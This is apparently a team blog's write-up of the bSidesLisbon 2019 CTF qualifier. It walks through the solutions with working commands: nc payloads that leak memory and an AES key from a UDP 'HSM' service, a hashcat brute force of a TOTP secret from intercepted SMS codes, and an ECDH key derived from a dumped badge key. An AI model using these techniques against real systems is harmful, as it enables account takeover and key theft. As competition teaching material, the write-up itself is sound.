<- Go back to blog

bSidesLisbon 2019 — CTF quals Write-up

One more year, one more bSidesLisbon, and therefore, one more CTF to be qualified.

Being part of team Probely always makes me feel like the fat kid in the school’s football team. There’s a little difference this year, Bruno Barãowas not on vacation, so everything would be easier 😜

1 — Badge (Misc 100^W)

Let’s skip this one, it went offline after a few minutes… We will talk about it later…

2 — Reload (Trivia 200)

Name the creator of the exploit used to hack into CityPower Grid Rerouting.

A quick search got us this famous image from Matrix Reloaded with Trinity hacking.

Searching for "sshnuke"we found the SSH CRC32and its creator.


3 — White Rabbit (Forensics 300)

Wake up … (neo)

We got an image file named “neo”…

We got nothing using binwalk, nothing with stegsolver … so let’s look deeper…

After patiently looking at the strings, we found the string “hacker.docx” inside… let’s extract this file.

Lot of spaces (0x20) before and after the “hacker.docx” block

Extracting that area, we got an unrecognized file, but the magic numbers looked familiar… like a zip file… humm… ahhh 💡 they almost fooled us, the magic numbers were switched, they should have been 50 4B 03 04.

unzip failed to extract it, but with 7z we got the “hacker.docx” and we saw a “vbaProject.bin” inside. Humm, a VBA macro…

$ officeparser.py --extract-macros hacker.docx
$ cat Module1.bas 
Attribute VB_Name = "Module1"
66 6c 61 67 7b 61 5f 68 61 63 6b 65 72 5f 79 6f 75 5f 61 72 65 5f 69 6e 64 65 65 64 7d

And we got the flag in hex

flag{a_hacker_you_are_indeed}

4 — HSM (Pwnable 400)

We’ve captured some traffic to a highly secure Hardware Security Module. Can you extract the AES key from the module?

Opening the hsm “pcap” file, we saw this UDP communication.

Replaying the payload, we got the encrypted message:

$ echo -e 'ENC\x0C\x00\x00\x00bsideslisbon' | nc -u -w 1 84.22.117.139 31337
QTz6fHn34GPrchElo0Hjd2sRxW9Y45Lp/3eHon3vHcY=

After a few attempts, we discovered that if we send the encrypted base64 with “DEC” we got the decrypted message in base64.

$ echo -e 'DEC\x0C\x00\x00\x00QTz6fHn34GPrchElo0Hjd2sRxW9Y45Lp/3eHon3vHcY=' | nc -u -w 1 84.22.117.139 31337
YnNpZGVzbGlzYm9u
$ echo -e 'DEC\x0C\x00\x00\x00QTz6fHn34GPrchElo0Hjd2sRxW9Y45Lp/3eHon3vHcY=' | nc -u -w 1 84.22.117.139 31337 |base64 -D
bsideslisbon

While playing around, trying to get a buffer overflow using large payloads, but without success, we found that if we send the wrong payload to ENC and echo back the response to DEC, we get a dump from some part of the memory…

$ echo -e 'ENCkadjkahsdkhakshdkhaskdsd' | nc -u -w 1 84.22.117.139 31337
tqEDRPDXf8qbn3orIKBZ6tVTRQEaGdK9BCQH/gvhTwxiAxssE33AMcoQSXpIzcpURZl2CDgoSU5MLFOpR1HfwMJasM6cGZ02YlXgw1Sh9qvTKp56b4WgiuxlqsSaYvQTzIM56CSjAVarvsjfvt0w6WA0X0flA8SrrrkAt06ugbNoJeJocAzIeJqMyqBgAbMD1zRGIhraeuzwCpEHneJjUTxIur4JNAYlkxa55BCRoJUXLdELwJRoyAMcXxr/eYCmzIs/Gk4jeR7JJTw26dnnv2ijepu04mlONCOkE8JYc0posPBQ37A2cYeEiOpi2Vi+TnD9ggZPB8v/XSukNbv9Vc51tluYvVrFYzpLwLdf2YTvx/sBdqRFsaBZxHyP/g/LEFsAYyIkMrVg4mTXRas5Bw==

And decrypting it

$ echo -e 'DEC\x0C\x00\x00\x00tqEDRPDXf8qbn3orIKBZ6tVTRQEaGdK9BCQH/gvhTwxiAxssE33AMcoQSXpIzcpURZl2CDgoSU5MLFOpR1HfwMJasM6cGZ02YlXgw1Sh9qvTKp56b4WgiuxlqsSaYvQTzIM56CSjAVarvsjfvt0w6WA0X0flA8SrrrkAt06ugbNoJeJocAzIeJqMyqBgAbMD1zRGIhraeuzwCpEHneJjUTxIur4JNAYlkxa55BCRoJUXLdELwJRoyAMcXxr/eYCmzIs/Gk4jeR7JJTw26dnnv2ijepu04mlONCOkE8JYc0posPBQ37A2cYeEiOpi2Vi+TnD9ggZPB8v/XSukNbv9Vc51tluYvVrFYzpLwLdf2YTvx/sBdqRFsaBZxHyP/g/LEFsAYyIkMrVg4mTXRas5Bw==' | nc -u -w 1 84.22.117.139 31337 |base64 -D
kahsdkhakshdkhaskdsdinux-x86-64.so.2GNU GNU
                                           BI?}?)lg?fF??T????
                                                             ???)?fUa????V?,9?+?=?
                                                                                  "?N?,?

A small bash script…

$ for i in `seq 1 10`; do a=`python -c 'print "ENC"+"A"*50' | nc -u -w 1 84.22.117.139 31337`; echo -e "DEC\x0C\x00\x00\x00$a" | nc -u -w 1 84.22.117.139 31337|base64 -D; echo; echo; done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC?1??79I-0?1
',?)?F

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
?RM!E.?8?J******  BSLX Hardware Security Module v1.0b ********1

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%O-?
AESKEY = flag{0m6_y0ur_h34r7_15_b133d1n6} ?qM!A-J?    ?W

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADP?td|||t
t
Q?tdR?td******  BSLX Hardware Security Module v1.0b ********64/ld-linux-x86-64.so.2GNU

And we got the flag

flag{0m6_y0ur_h34r7_15_b133d1n6}

5 — Love Me Two Times (Web 500)

We’ve been intercepting the cell phone from John McFlurry. Here’s a dump (pun intended) attached.

The attached file (SMS.DMB) had this content

$ cat SMS.DMP 
001ED0AB5AADD6AAD56AAD5AADD68AC9663400008111013173100044CA37DACD02D1D16590383C5EBFCDE6F4B80C4ACF417538284C07A1E974F85CF77A8DE96697789E2697E7ECF45CFC76BBDEF2F38B696D1665D4E6F405
0020D0AB5AADD6AAD56AAD5AADD69AC566B31B000081110131042300304972FA4D9F874049D038EC3ED141ECF739ED7681AEE830FD3407D1D165103C3C9FDFDF7232E8F7FBFD7E
001ED0AB5AADD6AAD56AAD5AADD68AC9663400008111014120510023D3B75C9E0F81EAF3B25C0752BFD16E16081E9ECFEF6F3959076A87E7F4B21C
000ED0C229133B7C269D0000811101416190004E5076393C2F83EAF332888E2E83C66F721934CBC96E351B88FE06D9CBF2B4390FCABFEB72101CFD769741E6B71C44BFBF5BE6F098FE9683C2753ABAECA6A7C7617AFAED7601
0020D0AB5AADD6AAD56AAD5AADD69AC566B31B00008111014163120044C993BD0C62BFCFE732199476BB40CCF77B3D07D5DDE8F0781D16B3CB2110B34C3FCD41EC70DD3D4683E8E8F41C14A683C4F334B93C67A7E7E2B73B04
000ED0C229133B7C269D0000811111902521004E5076393C2F83EAF332888E2E83C66F721964B3D164B11888FE06D9CBF2B4390FCABFEB72101CFD769741E6B71C44BFBF5BE6F098FE9683C2753ABAECA6A7C7617AFAED7601

Using an online SMS Deliver PDU Decoder we got the following conversation

Time stamp: 10/11/2018 13:37:01
From: +555-555-555-1234
Message: John, the backoffice is up at https://ctf.bsideslisbon.org/LVME2TMS/

Time stamp: 10/11/2018 13:40:32
From: +555-555-555-31337
Message: Idiots! I can't login. What's the password ?????

Time stamp: 10/11/2018 14:02:15
From: +555-555-555-1234
Message: Sorry! user: john, password: master

Time stamp: 10/11/2018 14:16:09
From: BSLXCOIN
Message: Please use the code 392756 to verify your phone for two-factor authentication.

Time stamp: 10/11/2018 14:36:21
From: +555-555-555-31337
Message: I've logged in. Looks unhackable! Let's launch this at bsideslisbon!

Time stamp: 11/11/2018 09:52:12
From: BSLXCOIN
Message: Please use the code 664211 to verify your phone for two-factor authentication.

Visiting the URL and trying to login with the credentials and the two-factor codes, the access was denied with “Invalid TOTP code

Well, we tried some known vulnerabilities, but the sessionid was being renewed on every request, so it would be hard to automatize it. While brainstorming, Bruno Barão had the brilliant idea of trying to brute-force the base32 secret for the TOTP code, since we had two OTPs and their timestamps.

$ cat test.hash
392756:1541859369
664211:1541929932
$ hashcat -m18100 --status --keep-guessing -a3 -o totp.potfile test.hash "?l?l?l?l?l?l"

A few minutes later

$ cat totp.potfile | awk -F ':' '{print $3}' | sort | uniq -c | sort -nr| head -3
      2 NFWWIZLBMQ======
      1 PJVWOZ3RMU======
      1 PJUHE6DYME======

We got the base32 secret

>>> import pyotp
>>> totp = pyotp.TOTP('NFWWIZLBMQ======')
>>> totp.now()
'227410'
>>>

Going back to the web page and try to login with this TOTP code, we got in.

flag{I_am_jacks_complete_lack_of_surprise_e3b57d2b}

1:24 AM, and we were almost done… One challenge left…. Meanwhile, the first challenge was online again…

1 — Badge (Misc 300)

bSidesLisbon 2018 badge was cracked, at last!

Here’s the flag:

U2FsdGVkX1+Qlg+jo0OYPaW0F5XVKOj//d5P2pGgzjoxEr23fxgv5AwAFQ/cJSNtxE0Od/wlFaTYTasywLVUpKmkaRZP9swYotNQpW6J5fD/G5DTpbKwF4LOFcpMAZ25

Keywords: mifare classic aes pbkdf2 cbc 256 openssl

We also got two files, hf-mf-CDEF213E-data.bin and peer.pub.pem, a RFID mifare classic dump and a public key.

Parsing the dump with mfdread and converting the HEX values we got the base64

LS0tLS1CRUdJTiBFQyBQQVJBTUVURVJTLS0tLS0NCkJnVXJnUVFBSXc9PQ0KLS0tLS1FTkQgRUMgUEFSQU1FVEVSUy0tLS0tDQotLS0tLUJFR0lOIEVDIFBSSVZBVEUgS0VZLS0tLS0NCk1JSGNBZ0VCQkVJQmtlRzBoU2tqaHl0cWdxZ0hsS1YwSHJmTTdyeVRjbDVwdmpCMkRwaGs3RTZlNHp1WlNQa2gNClBlMWc3SkFUVWhEMzlPSjVWY1ZZQmhjWlhnUmJTOW1zeklLZ0J3WUZLNEVFQUNPaGdZa0RnWVlBQkFGSnZtTTINCkVOSHR1ZHpxa1d1ZGlSVXJQKytBSE4vMmxyb1lZSzNqZldKTEtieGpaTnZyZE4wZU9OaGNNN3Q5MlBPSHJXNjUNCkRzYXJuZ1haUFU5VFFrOUo3d0h6MHd2U2VuWi9kNlBXS3ZWTmJLTmJKK3UwV1d5bW1udjUwNzNKTjZOYldhZWkNCjczc1ZtNEVCTks0dGdDMXJIR3ZLYjIyeDh0am9WM1RtNzk3aU1WZkpLQT09DQotLS0tLUVORCBFQyBQUklWQVRFIEtFWS0tLS0t

Which gave us the following private key

-----BEGIN EC PARAMETERS-----
BgUrgQQAIw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MIHcAgEBBEIBkeG0hSkjhytqgqgHlKV0HrfM7ryTcl5pvjB2Dphk7E6e4zuZSPkh
Pe1g7JATUhD39OJ5VcVYBhcZXgRbS9mszIKgBwYFK4EEACOhgYkDgYYABAFJvmM2
ENHtudzqkWudiRUrP++AHN/2lroYYK3jfWJLKbxjZNvrdN0eONhcM7t92POHrW65
DsarngXZPU9TQk9J7wHz0wvSenZ/d6PWKvVNbKNbJ+u0WWymmnv5073JN6NbWaei
73sVm4EBNK4tgC1rHGvKb22x8tjoV3Tm797iMVfJKA==
-----END EC PRIVATE KEY-----

So we created the shared secret using the given public key and the found private key

$ openssl pkeyutl -derive -inkey private-key.pem -peerkey peer.public.pem -out shared-secret.bin

And try to decrypt the given flag

$ openssl enc -aes-256-cbc -pbkdf2 -pass file:shared-secret.bin -d -in flag.bin
bad decrypt
140641640051904:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:570:
�/�B��dbDߚ�j�z@�������N8����m3a�,R7
                                   ���zĺΩQi�8�"�#)��

WTF… Why…?! And the funny^Wnot so funny party just started… 🤬

We spent the rest of the night and the next day around this… asking João Poupino (our cryptographic master) for help, brute-forcing with different digests and iterations… long story short… the given flag was encrypted with a shared secret created with a different version of openssl 🤯 and didn’t match.

The encrypted flag was changed in the challenge by the organization, and voila…

flag{obscurity_and_proprietary_crypto_add_security_only_in_the_short_run}

We didn’t finish the quals in the first position, that was for the “Dark night of the soul” team: congratulations to them. We’re looking forward to understand how they circumvented the problem with the badge’s challenge.

See you all in the bSidesLisbon on-site CTF.